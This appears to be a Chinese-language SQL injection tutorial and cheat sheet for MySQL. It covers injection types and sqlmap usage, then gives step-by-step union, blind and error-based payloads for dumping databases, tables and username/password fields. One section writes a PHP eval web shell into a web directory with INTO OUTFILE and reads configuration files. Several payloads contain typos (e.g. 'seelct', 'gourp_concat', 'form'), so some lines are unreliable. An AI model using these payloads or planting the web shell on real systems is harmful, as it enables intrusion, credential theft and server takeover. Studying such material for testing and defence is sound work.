sql注入漏洞
0x01 定义
应用程序在向后台数据库传递SQL(Structured Query Lanuage,结构化查询语言)查询时,如果为攻击者提供了影响该查询的能力,便会引发SQL注入。
-——- 《SQL注入攻击与防御》Justin Clarke
0x02 攻击方式
- 主要方式:将代码直接插入参数中,这些参数会被置入sql命令中加以执行。
- 间接方式:将恶意代码插入到字符串中,之后再将这些字符串保存到数据库的数据表中或将其当作元数据。当存储的字符串正如动态sql命令中时,恶意代码就将被执行。(二阶注入便是如此)
0x03 sql注入的分类
按照提交数据的方式
- get型
- 直接在url中构造payload
post型
- 该类型便比较灵活,登陆框、http头等都可以
- 在sqlmap中进行post方式注入
sqlmap -u http://127.0.0.1/index.php --data="id=1"
cookie型
参数的获取使用的是request方式$id = $_REQUEST['id'];
- 手工注入
javascript:alert(document.cookie="id="+escape("1 payload")
- sqlmap
sqlmap -u http://127.0.0.1/index.php --cookie "id=1" --level 2
Tips:
默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–-level 参数且数值>=2的时候也会检查cookie时面的参数,当>=3的时候将检查User-agent和Referer
按照数据的类型
- 数字型
- 字符型
按照注入模式
- 基于布尔的盲注(Boolean-based blind SQL injection)
- 基于时间的盲注(Time-based blind SQL injection)
- 基于报错的注入(Error-based SQL injection)
联合查询注入(Union query SQL injection)
可以使用union联合查询时的注入
堆查询注入(Stacked injection )
可以同时执行多条语句时的注入
0x04 堆查询注入与联合查询注入的区别
联合查询注入可以一次执行多条查询语句,而堆查询注入可以执行任意语句
分号(;)是语句分隔符
因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的
0x05 注入模式的选取
- 页面出现sql语句的报错信息时,优先选取基于报错的注入模式
- 页面有正常回显时,有限选取联合查询的注入模式
- 页面没有回显时考虑盲注,优先考虑布尔型
0x06 sql注入写shell
以mysql数据库举例子
查看当前用户
select current_user;
返回 user@host
查看当前用户是否具有写权限
select File_priv from mysql.user where user = '用户名' and host = 'host'
如果单引号被禁用,则全部用十六进制
写入shell
前提:需要先知道++++==apache覆盖==++++下的当前用户==可写入的绝对路径==
select '<?php eval($_POST[horse]);?>' into outfile '/var/www/html/uploads/hosre.php'
如果单引号被禁用,或者字符被转义为html实体,则用十六进制表示
也可以利用load date file 来读取敏感信息,如配置文件
==存在注入时,优先考虑是否可以写shell==
0x07 通用注入步骤
- 求闭合字符
- 选择注入模式
- 爆数据库
- 爆表名
- 爆列名
- 爆字段名
以AMP的结构举例
联合注入模式(已经确定存在注入,判断注入的语句不在赘述)
求闭合字符
$query1 = "select * from information where id = '".$_GET['id']."'"; $query2 = 'select * from information where id = "'.$_GET['id2'].'"'; $query3 = "select * from information where id in (".$_GET['id3'].")"; $query4 = "select * from information where id in ('".$_GET['id4']."')";
闭合字符分别是
' " ) ')
其他复杂闭合字符皆可如此构造
爆列数,并尝试爆显示位
id = 1' order by 3 -- + 页面正常 id = 1' order by 4 -- + 页面不正常
id = 1' and 1=2 union select 1,2,3 -- + 假设2为显示位
爆数据库名称
id = 1' and 1=2 union select 1,database(),3 -- +
爆表名
id = 1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=数据库名称的十六进制 -- +
爆列名
id = 1' and 1=2 union select 1,gourp_concat(column_name),3 form information_schema.columns where table_schema=数据库名称的十六进制 and table_name = 表名的十六进制 -- +
爆字段
id = 1' and 1=2 union select 1,group_concat(username,0x20,password),3 from 表名.列名 -- +
Tips:
十六进制前面需要加0x作为十六进制标志位
基于时间的盲注
应用情景
- 无显示位
步骤
爆当前数据库名称的长度,假设得到6
and if(length(database())>0,1,sleep(3))
爆数据库名称,假设得到teagle
and if(ascii(substr(database(),1,1))>97,1,sleep(3))
爆teagle数据库表的数量
and if((select count(table_name) from information_schema.tables where table_schema=database() )>0,1,sleep(3))
爆表名称长度
and if(lengh((select table_name from information_schema.tables where table_schema=database() limit 0,1))>0,1,sleep(3))
Tips:
length里面只能放数值,放表达式时需要将括号括起来
5. 爆表名称,假设爆得表名admin
```
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1)),1,sleep(3))
```
6. 爆列数量
```
and if((select count(*) from information_schema.tables where table_schema = database() and table_name='admin')>0,1,sleep(3))
```
7. 爆列长度
8. 爆列名
9. 爆字段数量
10. 爆字段长度
11. 爆字段内容
重复性的内容便不再赘述
基于布尔的盲注
与基于时间的盲注大同小异,不再赘述
- 爆数据库长度
and length(database())>0
基于报错的注入模式
选择一个合适的报错函数,优先考虑floor(),updatexml(),extractvalue()
- 爆数据库名
id = 1' and updatexml(1,concat(0x20,(select database()),0x20),1) -- +
- 爆表名
id = 1' and updatexml(1,concat(0x20,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x20)1) -- +
步骤参考联合查询的注入模式,不在赘述
0x08 十五种MySQL报错注入
floor()
MySQL 5.0以上皆可使用
id = 1 and (select 1 from (seelct count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x)a)
updatexml()
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是updatexml()和extractvalue()函数
id = 1 and updatexml(1,concat(0x20,(select database()),0x20),1)
extractvalue()
id = 1 and extractvalue(1,concat(0x20,(select user()),0x20))
exp()
第四种到第十种皆是==MySQL 5.1==以后才可报错,其中五种到第十种可以归为一类。
id =1 and exp(~(select * from(select user())a))
GeometryCollection()
id = 1 and GeometryCollection((select * from (select * from (select user())a)b))
polygon()
id =1 and polygon((select * from(select * from(select user())a)b))
mutipoint()
id =1 and mutipoint((select * from(select * from(select user())a)b))
multionlinestring()
id =1 and multionlinestring((select * from(select * from(select user())a)b))
multipolygon()
id =1 and mutipolygon((select * from(select * from(select user())a)b))
linestring()
id =1 and linestring((select * from(select * from(select user())a)b))
ST_LatFromGeoHash()
第十一种到第十五种为==MySQL 5.7==中新添加的报错函数。
- ST_LongFromGeoHash()
- GTID_SUBSET()
- GTID_SUBTRACT()
- ST_PointFromGeoHash()